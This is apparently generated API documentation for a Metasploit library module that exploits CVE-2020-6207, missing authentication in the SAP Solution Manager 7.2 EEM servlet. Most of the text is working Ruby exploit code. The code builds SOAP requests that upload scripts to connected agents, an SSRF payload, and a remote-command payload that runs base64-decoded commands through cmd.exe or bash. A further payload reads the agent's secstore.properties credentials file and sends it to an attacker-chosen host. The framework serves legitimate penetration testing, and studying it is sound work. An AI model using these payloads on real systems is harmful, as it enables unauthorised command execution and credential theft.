Module: Msf::Exploit::Remote::HTTP::SapSolManEemMissAuth

Includes:
Msf::Exploit::Remote::HttpClient
Defined in:
lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb

Overview

This module provides a way of interacting with vulnerable (CVE-2020-6207 - missing authentication checks in SAP EEM servlet) SAP Solution Manager version 7.2

Constant Summary collapse

PAYLOAD_XML =
{
  prefix: '',
  suffix: "\t</TransactionStep>\r\n</Script>\r\n"
}.freeze

Instance Attribute Summary

Attributes included from Msf::Exploit::Remote::HttpClient

#client, #cookie_jar

Instance Method Summary collapse

Methods included from Msf::Exploit::Remote::HttpClient

#basic_auth, #cleanup, #configure_http_login_scanner, #connect, #deregister_http_client_options, #disconnect, #download, #full_uri, #handler, #http_fingerprint, #initialize, #lookup_http_fingerprints, #normalize_uri, #path_from_uri, #peer, #proxies, #reconfig_redirect_opts!, #request_opts_from_url, #request_url, #rhost, #rport, #send_request_cgi, #send_request_cgi!, #send_request_raw, #service_details, #setup, #ssl, #ssl_version, #strip_tags, #target_uri, #validate_fingerprint, #vhost

Methods included from Auxiliary::Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Metasploit::Framework::Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Instance Method Details

#check_agent(agent_name) ⇒ Object

Check agent in connected agents list


196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 196

def check_agent(agent_name)
  vprint_status('Getting a list of connected agents ...')
  agents = make_agents_array
  if agents.empty?
    fail_with(Msf::Module::Failure::NoTarget, 'Solution Manager server is vulnerable but no agents are connected!')
  elsif agent_name.nil?
    fail_with(Msf::Module::Failure::BadConfig, "Please set agent: `set AGENT #{agents[0]['serverName']}`")
  end
  agents.each do |agent|
    if agent_name == agent[:serverName]
      return agent
    end
  end
  fail_with(Msf::Module::Failure::NotFound, "Not found agent: #{agent_name} in connected agents:\n#{pretty_agents_table(agents)}")
end

#check_response(response) ⇒ Object

Check response from SAP SolMan server


92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 92

def check_response(response)
  if response.nil?
    fail_with(Msf::Module::Failure::Unreachable, 'The server not responding.')
  elsif response.code != 200
    fail_with(Msf::Module::Failure::UnexpectedReply, 'The server sent a response, but the response status code not in the expected status code: 200. The target is likely patched.')
  elsif !response.headers['Content-Type'].strip.start_with?('text/xml')
    fail_with(Msf::Module::Failure::UnexpectedReply, 'The server sent a response, but the response body not in the expected content type: text/xml. The target is likely patched.')
  elsif Nokogiri::XML(response.body).errors.any?
    fail_with(Msf::Module::Failure::UnexpectedReply, 'The server sent a response, but the response body not in the expected format. The target is likely patched.')
  elsif !response.body.match?(/<soap-env:body>/i)
    fail_with(Msf::Module::Failure::UnexpectedReply, 'The server sent a response, but the response body does not contain a SOAP body. The target is likely patched.')
  elsif response.body.match?(/<soap-env:fault>/i)
    fail_with(Msf::Module::Failure::UnexpectedReply, 'The server sent a response, but the response body contains errors.')
  elsif response.body.match?(/EemException: invalid agent name/i)
    fail_with(Msf::Module::Failure::NotFound, 'The server sent a response, but agent was not found.')
  else
    response
  end
end

#delete_script_in_agent(agent_name, script_name) ⇒ Object

Delete script in agent


164
165
166
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 164

def delete_script_in_agent(agent_name, script_name)
  script_action(agent_name, script_name, 'deleteScript')
end

#enable_eem(agent_name) ⇒ Object

Enable EEM in agent


133
134
135
136
137
138
139
140
141
142
143
144
145
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 133

def enable_eem(agent_name)
  soap_body = Nokogiri::XML(<<-SOAP_BODY, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
  <adm:setAgeletProperties>
    <agentName>#{agent_name.encode(xml: :text)}</agentName>
    <propertyInfos>
      <flags>3</flags>
      <key>eem.enable</key>
      <value>True</value>
    </propertyInfos>
  </adm:setAgeletProperties>
  SOAP_BODY
  send_soap_request(soap_body.to_s)
end

#make_agents_arrayObject

Get connected agents info


169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 169

def make_agents_array
  agents = []
  all_agent_info = send_soap_request('<adm:getAllAgentInfo />')
  response_xml = all_agent_info.get_xml_document
  response_xml.css('return').each do |agent|
    os_name = ''
    java_version = ''
    agent.css('systemProperties').each do |system_properties|
      case system_properties.at_xpath('key').content
      when 'os.name'
        os_name = system_properties.at_xpath('value').content
      when 'java.version'
        java_version = system_properties.at_xpath('value').content
      end
    end
    agents.push({
      serverName: agent.at_xpath('serverName').content,
      hostName: agent.at_xpath('hostName').content,
      instanceName: agent.at_xpath('instanceName').content,
      osName: os_name,
      javaVersion: java_version
    })
  end
  agents
end

#make_rce_payload(os_command) ⇒ Object

Make RCE payload xml string


33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 33

def make_rce_payload(os_command)
  command = "var d = Packages.java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(os_command)}');"
  command << 'var c = new Packages.java.lang.String(d);'
  command << 'var b = new Packages.java.lang.ProcessBuilder();'
  command << 'var o = Packages.java.lang.System.getProperty("os.name").toLowerCase();'
  command << 'if (o.indexOf("win") >= 0) {b.command("cmd.exe","/c",c).start().waitFor();} '
  command << 'else {b.command("bash","-c",c).start().waitFor();}'
  rce_payload = Nokogiri::XML(<<-RCE_PAYLOAD, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS)
  #{PAYLOAD_XML[:prefix]}
  <Message activated="true" id="2" method="AssignJS" name="AssignJS" type="Command" url="">
    <Param name="expression" value=#{command.encode(xml: :attr)} />
    <Param name="variable" value="test" />
  </Message>
  #{PAYLOAD_XML[:suffix]}
  RCE_PAYLOAD
  rce_payload.to_s
end

#make_soap_body(agent_name, script_name, payload) ⇒ Object

Make SOAP body for SSRF or RCE payload xml string


75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 75

def make_soap_body(agent_name, script_name, payload)
  soap_body = Nokogiri::XML(<<-SOAP_BODY, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
  <adm:uploadResource>
    <agentName>#{agent_name.encode(xml: :text)}</agentName>
    <fileInfos>
      <content>#{Base64.strict_encode64(payload)}</content>
      <fileName>script.http.xml</fileName>
      <scenarioName>#{script_name.encode(xml: :text)}</scenarioName>
      <scope>Script</scope>
      <scriptName>#{script_name.encode(xml: :text)}</scriptName>
    </fileInfos>
  </adm:uploadResource>
  SOAP_BODY
  soap_body.to_s
end

#make_ssrf_payload(method, uri) ⇒ Object

Make SSRF payload xml string


23
24
25
26
27
28
29
30
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 23

def make_ssrf_payload(method, uri)
  ssrf_payload = Nokogiri::XML(<<-SSRF_PAYLOAD, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS)
  #{PAYLOAD_XML[:prefix]}
  <Message activated="true" id="2" method="#{method}" name="index" type="ServerRequest" url="#{uri}" version="HTTP/1.1"></Message>
  #{PAYLOAD_XML[:suffix]}
  SSRF_PAYLOAD
  ssrf_payload.to_s
end

#make_steal_credentials_payload(instance, host, port, url) ⇒ Object

Make payload for steal credentials for SolMan server from agent


52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 52

def make_steal_credentials_payload(instance, host, port, url)
  command = "var u = new Packages.java.net.URL(\"http://#{host}:#{port}#{url}\");"
  command << 'var o = Packages.java.lang.System.getProperty("os.name").toLowerCase();'
  command << 'if (o.indexOf("win") >= 0) '
  command << "{var p = Packages.java.nio.file.Paths.get(\"C:\\\\usr\\\\sap\\\\DAA\\\\#{instance}\\\\SMDAgent\\\\configuration\\\\secstore.properties\");} "
  command << "else {var p = Packages.java.nio.file.Paths.get(\"/usr/sap/DAA/#{instance}/SMDAgent/configuration/secstore.properties\");} "
  command << 'var f = Packages.java.nio.file.Files.readAllBytes(p);var c = u.openConnection();c.setDoOutput(true);'
  command << 'c.setRequestProperty("Content-Type","application/octet-stream");'
  command << 'c.setRequestProperty("X-File-Name",p.toAbsolutePath().toString());'
  command << 'var w = new Packages.java.io.DataOutputStream(c.getOutputStream());w.write(f);'
  command << 'try {c.getInputStream();} finally {c.disconnect();}'
  creds_payload = Nokogiri::XML(<<-CREDS_PAYLOAD, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS)
  #{PAYLOAD_XML[:prefix]}
  <Message activated="true" id="2" method="AssignJS" name="AssignJS" type="Command" url="">
    <Param name="expression" value=#{command.encode(xml: :attr)} />
    <Param name="variable" value="test" />
  </Message>
  #{PAYLOAD_XML[:suffix]}
  CREDS_PAYLOAD
  creds_payload.to_s
end

#pretty_agents_table(agents) ⇒ Object

Pretty print connected agents array


213
214
215
216
217
218
219
220
221
222
223
224
225
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 213

def pretty_agents_table(agents)
  make_pretty_table = Rex::Text::Table.new(
    'Header' => 'Connected Agents List',
    'Indent' => 1,
    'SortIndex' => -1,
    'Columns' => ['Server Name', 'Host Name', 'Instance Name', 'OS Name', 'Java Version']
  )
  agents.each do |agent|
    row = [agent[:serverName], agent[:hostName], agent[:instanceName], agent[:osName], agent[:javaVersion]]
    make_pretty_table << row
  end
  make_pretty_table
end

#send_soap_request(soap_body) ⇒ Object

Send SOAP request to SAP SolMan server


113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 113

def send_soap_request(soap_body)

  data = Nokogiri::XML(<<-DATA, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
  <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:adm="http://sap.com/smd/eem/admin/">
    <soapenv:Header/>
    <soapenv:Body>#{soap_body}</soapenv:Body>
  </soapenv:Envelope>
  DATA

  response = send_request_cgi({
    'uri' => normalize_uri(target_uri.path),
    'method' => 'POST',
    'data' => data,
    'ctype' => 'text/xml; charset=UTF-8',
    'headers' => { 'SOAPAction' => '""' }
  })
  check_response(response)
end

#stop_script_in_agent(agent_name, script_name) ⇒ Object

Stop script in agent


159
160
161
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 159

def stop_script_in_agent(agent_name, script_name)
  script_action(agent_name, script_name, 'stopScript')
end